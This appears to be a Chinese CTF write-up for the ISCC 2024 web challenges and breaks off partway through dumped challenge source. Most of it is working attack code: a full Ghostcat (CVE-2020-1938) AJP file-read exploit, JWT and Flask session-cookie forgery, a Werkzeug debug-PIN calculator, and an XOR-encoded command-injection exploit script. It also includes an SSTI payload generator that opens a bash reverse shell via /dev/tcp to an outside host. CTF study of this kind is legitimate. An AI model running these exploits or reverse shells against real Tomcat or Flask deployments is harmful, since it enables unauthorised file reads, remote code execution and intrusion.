ISCC2024个人挑战赛WP-WEB

（非官方解，以下内容均互联网收集的信息和个人思路，仅供学习参考）

还没想好名字的塔防游戏

GET /world.js HTTP/1.1

Host: 101.200.138.180:17345

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Mystic Defense War: The Secret of Guardian Towers and Magical Monsters

Eagles Sculpt Clouds Silver Lakes Glitter Wolves Whisper Moonlight

ISCC{MDWTSGTMMESCSLGWWM}

游戏英文名和提示的所有英文大写拼起来就是flag

代码审计

和这个思路基本吻合

De1ctf之SSRF ME多种方法-CSDN博客

原神启动

、

随便访问了一个路径，显示文件不存在，404错误，下面给出了Apache Tomcat的版本8.5.32

可以看到这个版本存在CVE漏洞

CVE-2020-1938 任意文件读取

拿通用Poc就能打。

import struct

def pack_string(s):

if s is None:

return struct.pack(">h", -1)

l = len(s)

return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)

def unpack(stream, fmt):

size = struct.calcsize(fmt)

buf = stream.read(size)

return struct.unpack(fmt, buf)

def unpack_string(stream):

size, = unpack(stream, ">h")

if size == -1: # null string

return None

res, = unpack(stream, "%ds" % size)

stream.read(1) # \0

return res

class NotFoundException(Exception):

pass

class AjpBodyRequest(object):

# server == web server, container == servlet

SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)

MAX_REQUEST_LENGTH = 8186

def __init__(self, data_stream, data_len, data_direction=None):

self.data_stream = data_stream

self.data_len = data_len

self.data_direction = data_direction

def serialize(self):

data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)

if len(data) == 0:

return struct.pack(">bbH", 0x12, 0x34, 0x00)

else:

res = struct.pack(">H", len(data))

res += data

if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:

header = struct.pack(">bbH", 0x12, 0x34, len(res))

else:

header = struct.pack(">bbH", 0x41, 0x42, len(res))

return header + res

def send_and_receive(self, socket, stream):

while True:

data = self.serialize()

socket.send(data)

r = AjpResponse.receive(stream)

while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:

r = AjpResponse.receive(stream)

if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:

break

class AjpForwardRequest(object):

_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)

REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}

# server == web server, container == servlet

SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)

COMMON_HEADERS = ["SC_REQ_ACCEPT",

"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",

"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",

"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"

]

ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

def __init__(self, data_direction=None):

self.prefix_code = 0x02

self.method = None

self.protocol = None

self.req_uri = None

self.remote_addr = None

self.remote_host = None

self.server_name = None

self.server_port = None

self.is_ssl = None

self.num_headers = None

self.request_headers = None

self.attributes = None

self.data_direction = data_direction

def pack_headers(self):

self.num_headers = len(self.request_headers)

res = ""

res = struct.pack(">h", self.num_headers)

for h_name in self.request_headers:

if h_name.startswith("SC_REQ"):

code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1

res += struct.pack("BB", 0xA0, code)

else:

res += pack_string(h_name)

res += pack_string(self.request_headers[h_name])

return res

def pack_attributes(self):

res = b""

for attr in self.attributes:

a_name = attr['name']

code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1

res += struct.pack("b", code)

if a_name == "req_attribute":

aa_name, a_value = attr['value']

res += pack_string(aa_name)

res += pack_string(a_value)

else:

res += pack_string(attr['value'])

res += struct.pack("B", 0xFF)

return res

def serialize(self):

res = ""

res = struct.pack("bb", self.prefix_code, self.method)

res += pack_string(self.protocol)

res += pack_string(self.req_uri)

res += pack_string(self.remote_addr)

res += pack_string(self.remote_host)

res += pack_string(self.server_name)

res += struct.pack(">h", self.server_port)

res += struct.pack("?", self.is_ssl)

res += self.pack_headers()

res += self.pack_attributes()

if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:

header = struct.pack(">bbh", 0x12, 0x34, len(res))

else:

header = struct.pack(">bbh", 0x41, 0x42, len(res))

return header + res

def parse(self, raw_packet):

stream = StringIO(raw_packet)

self.magic1, self.magic2, data_len = unpack(stream, "bbH")

self.prefix_code, self.method = unpack(stream, "bb")

self.protocol = unpack_string(stream)

self.req_uri = unpack_string(stream)

self.remote_addr = unpack_string(stream)

self.remote_host = unpack_string(stream)

self.server_name = unpack_string(stream)

self.server_port = unpack(stream, ">h")

self.is_ssl = unpack(stream, "?")

self.num_headers, = unpack(stream, ">H")

self.request_headers = {}

for i in range(self.num_headers):

code, = unpack(stream, ">H")

if code > 0xA000:

h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]

else:

h_name = unpack(stream, "%ds" % code)

stream.read(1) # \0

h_value = unpack_string(stream)

self.request_headers[h_name] = h_value

def send_and_receive(self, socket, stream, save_cookies=False):

res = []

i = socket.sendall(self.serialize())

if self.method == AjpForwardRequest.POST:

return res

r = AjpResponse.receive(stream)

assert r.prefix_code == AjpResponse.SEND_HEADERS

res.append(r)

if save_cookies and 'Set-Cookie' in r.response_headers:

self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

# read body chunks and end response packets

while True:

r = AjpResponse.receive(stream)

res.append(r)

if r.prefix_code == AjpResponse.END_RESPONSE:

break

elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:

continue

else:

raise NotImplementedError

break

return res

class AjpResponse(object):

_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)

COMMON_SEND_HEADERS = [

"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",

"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"

]

def parse(self, stream):

# read headers

self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

if self.prefix_code == AjpResponse.SEND_HEADERS:

self.parse_send_headers(stream)

elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:

self.parse_send_body_chunk(stream)

elif self.prefix_code == AjpResponse.END_RESPONSE:

self.parse_end_response(stream)

elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:

self.parse_get_body_chunk(stream)

else:

raise NotImplementedError

def parse_send_headers(self, stream):

self.http_status_code, = unpack(stream, ">H")

self.http_status_msg = unpack_string(stream)

self.num_headers, = unpack(stream, ">H")

self.response_headers = {}

for i in range(self.num_headers):

code, = unpack(stream, ">H")

if code <= 0xA000: # custom header

h_name, = unpack(stream, "%ds" % code)

stream.read(1) # \0

h_value = unpack_string(stream)

else:

h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]

h_value = unpack_string(stream)

self.response_headers[h_name] = h_value

def parse_send_body_chunk(self, stream):

self.data_length, = unpack(stream, ">H")

self.data = stream.read(self.data_length+1)

def parse_end_response(self, stream):

self.reuse, = unpack(stream, "b")

def parse_get_body_chunk(self, stream):

rlen, = unpack(stream, ">H")

return rlen

@staticmethod

def receive(stream):

r = AjpResponse()

r.parse(stream)

return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):

fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)

fr.method = method

fr.protocol = "HTTP/1.1"

fr.req_uri = req_uri

fr.remote_addr = target_host

fr.remote_host = None

fr.server_name = target_host

fr.server_port = 80

fr.request_headers = {

'SC_REQ_ACCEPT': 'text/html',

'SC_REQ_CONNECTION': 'keep-alive',

'SC_REQ_CONTENT_LENGTH': '0',

'SC_REQ_HOST': target_host,

'SC_REQ_USER_AGENT': 'Mozilla',

'Accept-Encoding': 'gzip, deflate, sdch',

'Accept-Language': 'en-US,en;q=0.5',

'Upgrade-Insecure-Requests': '1',

'Cache-Control': 'max-age=0'

}

fr.is_ssl = False

fr.attributes = []

return fr

class Tomcat(object):

def __init__(self, target_host, target_port):

self.target_host = target_host

self.target_port = target_port

self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

self.socket.connect((target_host, target_port))

self.stream = self.socket.makefile("rb", bufsize=0)

def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):

self.req_uri = req_uri

self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))

print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))

if user is not None and password is not None:

self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')

for h in headers:

self.forward_request.request_headers[h] = headers[h]

for a in attributes:

self.forward_request.attributes.append(a)

responses = self.forward_request.send_and_receive(self.socket, self.stream)

if len(responses) == 0:

return None, None

snd_hdrs_res = responses[0]

data_res = responses[1:-1]

if len(data_res) == 0:

print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)

return snd_hdrs_res, data_res

'''

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

'''

import argparse

parser = argparse.ArgumentParser()

parser.add_argument("target", type=str, help="Hostname or IP to attack")

parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")

parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")

args = parser.parse_args()

t = Tomcat(args.target, args.port)

_,data = t.perform_request('/asdf',attributes=[

{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},

{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},

{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},

])

print('----------------------------')

print("".join([d.data for d in data]))

前面题目提示了flag在flag.txt，但根目录的flag.txt是假的flag，那么可以去Java的WEB默认目录WEB-INF找，发现在/WEB-INF/flag.txt下

python2 1.py -101.200.138.180 -p 8009 -f /WEB-INF/flag.txt

Flask中的pin值计算

要计算flask pin的码，首先拿到几个参数，按以下步骤，

1、先看源码 L2dldHVzZXJuYW1l，解密/getusername，问田螺“告诉我username是什么”，拿到username是pincalculate

访问该路由输入app之后提示访问/crawler，需要在1秒内计算，写个代码，

import requests

url1='http://101.200.138.180:10006/crawler?answer='
url='http://101.200.138.180:10006/get_expression'
s = requests.Session()
res=s.get(url)
math=res.text.split('"')
math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/')
result = eval(math1)
result=str(result)
res2=s.get(url1+result)
print(res2.text)

得到结果

<h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>
<h1>uuidnode_mac位于/woddenfish</h1>

2、继续访问/woddenfish路由，点击多少次都是显示公德不足，查看一下源码拿到jwt是eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc，解jwt得到{ "name": "donate","quantity": 1}，代码获取公德值是这一段

document.querySelector('h1').textContent = '当前功德：' + data.gongde;
document.querySelectorAll('h1')[1].textContent = data.message;

那么我们要先将donate换成gongde，然后quantity设置很大，根据源码jwt的key是ISCC_muyu_2024

构造jwt如下，拿到jwt为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ29uZ2RlIiwicXVhbnRpdHkiOjEwMDAwMDAwMDAwMDAwMDAwMH0.x6-VS-GxFVLdgjkP6eDWWg1qSuFBe6hZntt5GHUysho

然后传jwt，得到了，佛曰：功德圆满。地址02:42:ac:18:00:02:,机器码提示给你了/machine_id

3、继续访问/machine_id路由，点一下vip拿到一个jwt，点supervip身份无法匹配，解jwt是

{
"exp": 1714575775,
"iat": 1714572175,
"jti": "XAPsSANxSpKZ_nnYpP8C7A",
"nbf": 1714572175,
"role": "member",
"username": "ISCCmember"
}

需要改role为supervip才行，使用脚本构造jwt

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode

def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "vip"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ'))
#{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ"}

使用构造好的传参

GET /vipprice?token={"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9","payload":"eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ"}

得到结果"welcome_to_iscc_club"，应该就是supervip的key，用flask_session_cookie_manager3.py

python flask_session_cookie_manager3.py encode -s "welcome_to_iscc_club" -t "{'role': 'supervip'}"

伪造成 eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjIBhQ.2jMkekdDuFQCN5L61z9ee0C0Big，改cookie 后点supervip得到

acff8a1c-6825-4b9b-b8e1-8983ce1a8b94，这就是machine-id了，自此我们都拿到了

username：pincalculate
modname：flask.app #默认
appname：Flask #默认
app.py绝对路径：/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode mac：2485378351106 #
machine_id 机器码：acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

pin脚本跑一下

import hashlib
from itertools import chain
probably_public_bits = [
    'pincalculate',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485378351106',# str(uuid.getnode()), /sys/class/net/ens33/address
    'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)
#252-749-991

payload：http://101.200.138.180:10006/console?pin=252-749-991

Web 掉进阿帕奇的工资

前台功能点测试，发现通过重置密保1取得manager身份登录后台

101.200.138.180_60000_regist.php (1)

101.200.138.180_60000_forgetpass.php (1)

101.200.138.180_60000_home_IS7oKu30kO1sJ99TFgAdN8yV43fvwb2GPiRWBtm65407xMe8.php (1)

对功能点进行测试，发现工资页面是异或的命令执行，编写exp反弹shell

信息搜集发现有一个部分的Docfile，结合题意深入阴暗面，猜测需要横向。

反弹shell之后，用PHP CLI构造一个GET请求，得到响应验证的确是一个nginx服务，访问/flag拿到flag：

php -r "\$url = 'http://secret.host/flag'; \$options = ['http' => ['ignore_errors' => true]]; \$context = stream_context_create(\$options); \$content = file_get_contents(\$url, false, \$context); if (\$content !== false) { echo \$content; } else { echo 'Failed to fetch content.'; }"

Exp

import requests

from bs4 import BeautifulSoup

import re

headers = {

"Origin": "http://101.200.138.180:60000",

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36",

}

cookies = {

"PHPSESSID": "",

}

preg_match = "flag|system|php|cat|sort|shell|\.| |'|\`|echo|\;|\(|\""

alphabet = [chr(i) for i in range(256)]

# print(alphabet)

alphabet = [c for c in alphabet if not re.match(preg_match, c)]

xor_alphabet = {}

for a in alphabet:

for b in alphabet:

if a == "'" or b == "'" or a == '"' or b == '"':

continue

c = chr(ord(a) ^ ord(b))

if not xor_alphabet.get(c):

xor_alphabet[c] = (a, b)

def xor_encode(payload):

s1 = ""

s2 = ""

for c in payload:

if c not in xor_alphabet:

raise Exception(f"Invalid character '{c}' in payload")

s1 += xor_alphabet[c][0]

s2 += xor_alphabet[c][1]

return s1, s2

def runcmd(cmd):

# URL and headers for the POST request

url = "http://101.200.138.180:60000/gongzi_iscc.php"

# Encoding the command

basic_salary, performance_coefficient = xor_encode(cmd)

# print(f"basic_salary: {basic_salary}")

# print(f"performance_coefficient: {performance_coefficient}")

# Preparing the POST data

data = {

"basicSalary": basic_salary,

"performanceCoefficient": performance_coefficient,

"calculate": "1",

}

# Sending the POST request

response = requests.post(url, headers=headers, cookies=cookies, data=data)

# print(response.text)

# Parse the HTML with BeautifulSoup

soup = BeautifulSoup(response.text, "html.parser")

# Extract the value from <div class="result-box">

result_box = soup.find("div", class_="result-box")

if result_box:

extracted_value = (

result_box.text.strip()

) # Using strip() to remove any surrounding whitespace

# Remove the input command from the output if it appears

return extracted_value

else:

return "None"

def get():

payload = f"php -r \"\\$base_url = 'http://secret.host/'; \\$query_string = ''; \\$url = \\$base_url . '?' . \\$query_string; \\$options = ['http' => ['ignore_errors' => true]]; \\$context = stream_context_create(\\$options); \\$response = @get_headers(\\$url, 1, \\$context); print_r(\\$response);\""

return runcmd(payload)

def main():

while True:

cmd = input(">>").strip()

if cmd == "exit":

break

print(runcmd(cmd))

if __name__ == "__main__":

main()

回来吧永远滴神

查看网页源代码，提示第一个 Flag 在看得见的地方：

提交答案进入隐藏关卡：

判断是 SSTI ，并且存在 waf ：

SSTI一把梭反弹shell：

import functools

import time

import requests

from fenjing import exec_cmd_payload

url = "http://101.200.138.180:16356/evlelLL/646979696775616e"

# session=eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUE-T5iRTAmIfSy5szAO9ZMgkA

cookies = {

'session' : 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUE

T5iRTAmIfSy5szAO9ZMgkA'

}

@functools . lru_cache ( 1000 )

def waf ( payload : str ): # 如果字符串 s 可以通过 waf 则返回 True, 否则返回 False

time . sleep ( 0.02 ) # 防止请求发送过多

resp = requests . post ( url , headers = headers , cookies = cookies , timeout = 10 ,

data = { "iIsGod" : payload })

# print(resp.text)

return " 大胆 " not in resp . text

if __name__ == "__main__" :

shell_payload , will_print = exec_cmd_payload (

waf , 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2336 0>&1"'

)

if not will_print :

print ( " 这个 payload 不会产生回显！ " )

print ( f" { shell_payload = } " )

跑出来payload并发送：

读到Flag[2]和Flag[1]

源码dump下来，审计：

# -*- coding: utf-8 -*-

from flask import Flask , request , render_template , render_template_string ,

jsonify , session , redirect , url_for , current_app

from level import level

app = Flask ( import_name = __name__ ,

static_url_path = '/static' ,

static_folder = 'static' ,

template_folder = 'templates' )

app . secret_key =

'GVASDGDJGHiAsdfgmkdfjAhSljkD.IjOdrgSsddggkhukDdHAGOTJSFGLDGSADASSGDFJGHKJF

DG ' # 随机生成的安全秘钥

@app . route ( '/' )

@app . route ( '/index' )

def index ():

# Session 存储在服务器上，而 Cookie 存储在用户浏览器上

session . pop ( 'answers_correct' , None ) # 从 session 中移

除 'answers_correct' 键，否则返回 None

return render_template ( 'index.html' ) # 通过 render_template 函数渲染并返回

index.html 模板

@app . route ( '/submit-answers' , methods = [ 'POST' ])

def submit_answers ():

# 从 POST 请求中获取答案并判断是否与正确答案匹配

answer1 = request . form . get ( 'answer1' )

answer2 = request . form . get ( 'answer2' )

answer3 = request . form . get ( 'answer3' )

correct_answers = { 'answer1' : 'VN' , 'answer2' : ' 卡莎 ' , 'answer3' : ' 小狗 ' }

# 如果全部匹配，设置 session 'answers_correct' 为真并返回一个表示成功的 JSON 响应

if answer1 == correct_answers [ 'answer1' ] and answer2 ==

correct_answers [ 'answer2' ] and answer3 == correct_answers [ 'answer3' ]:

session [ 'answers_correct' ] = True

return jsonify ( success = True )

# 如果不匹配，返回一个包含错误信息的 JSON 响应

else :

return jsonify ( error = ' 对神的膜拜不够虔诚！伟大的神决定再给你一次机会，务必好

好珍惜！ ' )

@app . route ( '/evlelLL/<path:hex_str>' , methods = [ 'GET' , 'POST' ])

def level1 ( hex_str ):

# 检查用户是否已经通过验证

if not session . get ( 'answers_correct' ):

return redirect ( url_for ( 'caught' )) # 如果用户 session 中不存

在 'answers_correct' 键（即未通过验证），重定向用户到 'caught' 路由对应的页面

decoded_str = '' # 在这里初始化 decoded_str

try :

# 尝试将 16 进制字符串解码为字节，然后解码为 utf-8 格式的字符串

decoded_str = bytes . fromhex ( hex_str ). decode ( 'utf-8' )

except ValueError :

# 如果出现解码错误，可能是因为提供的不是有效的 16 进制字符串

lev = 100

# 设置 lev 的值

if decoded_str == 'diyiguan' :

lev = 1

elif decoded_str == 'meixiangdaoba' :

lev = 2

else :

lev = 100

if request . method == "GET" : # 如果当前请求是 GET 方法，函数将渲染并返回

level.html 模板

if lev == 1 :

message = " 恭喜你发现隐藏关卡！ "

placeholder = " 该提交什么呢？我可能会告诉你一些有用的信息喔！ "

elif lev == 2 :

message = " 不愧是你！第二关就在这里喔！ "

placeholder = " 这里需要输入的是什么呢？ "

elif lev == 100 :

message = " 未知的关卡 "

placeholder = " 似乎走错了地方 "

return render_template ( "level.html" , level = lev , message = message ,

placeholder = placeholder )

try :

custom_message_1 = "\n 恭喜你！请同时收好通往最终虚空的第一条必备信息：

ch4Os_\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\

n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

\n\n\n\n\n"

custom_message_1_1 =

"ZTU4MWI3ZTU4MWI3ZTU5MThhZThhZjg5ZTRiZGEwZWZiYzhjZTU4NWI2ZTVhZTllZThiZjk4ZT

Y5Yzg5ZTU4ZmE2ZTVhNDk2ZTRiODgwZTU4NWIzZWZiYzgx" + \

"NmQ2NTY5Nzg2OTYxNmU2NzY0NjE2ZjYyNjE="

custom_message_2 = "\n 恭喜你！请同时收好通往最终虚空的第二条必备信息：

_xi4oHmdm"

custom_message_3 = "\n 将两条必备信息连接起来，然后访问吧！ "

code = request . form . get ( 'iIsGod' ) # 从 POST 请求的表单数据中获取名为 iIsGod

的字段值

level_func = 'level' + str ( lev ) # 动态构建字符串，用于表示函数名

call_obj = getattr ( level , level_func ) # 从 level 模块获取名为 level_func

的函数

res = call_obj ( code ) # 将获取到的 iIsGod 字段值作为参数传递给上述函数

current_app . logger . info ( " 攻击 Payload ： %s" , res ) # 使用 Flask 的日志记录

功能打印结果

rendered_content = render_template_string ( " 神说： %s" % res ) # 将执行结

果 res 嵌入到字符串中，并使用 render_template_string 渲染

rendered = render_template_string ( "%s" % res )

current_app . logger . info ( " 回显内容： %s" , rendered_content ) # 使用 Flask

的日志记录功能打印结果

# 添加不同关卡的回显逻辑

if lev == 1 and ( res == rendered or "Flag[1]:" in rendered_content

or "_frozen_importlib_external.FileLoader" in rendered_content or "

['<', 'C', 'o', 'n', 'f',

'i', 'g'," in rendered_content ):

# if lev == 1: # debug

current_app . logger . info ( " 第一关的安全结果： %s" , rendered_content )

if "Flag[1]:" in rendered_content :

rendered_content = rendered_content + custom_message_1 +

custom_message_1_1

return rendered_content

elif lev == 2 and ( res == rendered or "Flag[2]:" in

rendered_content ):

# elif lev == 2: # debug

current_app . logger . info ( " 第二关的安全结果： %s" , rendered_content )

if "Flag[2]:" in rendered_content :

rendered_content = rendered_content + custom_message_2 +

custom_message_3

return rendered_content

else :

return " 神说： \n" + \

" 🎉 看来你的努力已经看到了回报呢 ~\n" + \

" 😺 但是，就像猫咪对着悬挂的线团，有些秘密是触碰不得的喵 ~\n" + \

" 🌟 我赞赏你的聪明才智，但秘密还是秘密，不可以全部告诉你喔 ~\n" + \

" 😉 继续探索吧，谁知道下一个转角会遇见什么呢？ "

except Exception as e :

return " 好像不太对，再试试 ~"

@app . route ( '/caught' )

def caught ():

return " 逮到你了！不可以在未经允许的情况下访问喵 ~"

@app . route ( '/ch4Os__xi4oHmdm' , methods = [ 'GET' ])

def chaos_1 ():

html_content = f'''

<pre>

from Crypto.Util.Padding import pad

from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b

from Crypto.Random import get_random_bytes

from enum import Enum

class Mode(Enum):

ECB = 0x01

CBC = 0x02

CFB = 0x03

class Cipher:

def __init__(self, key, iv=None):

self.BLOCK_SIZE = 64

self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0,

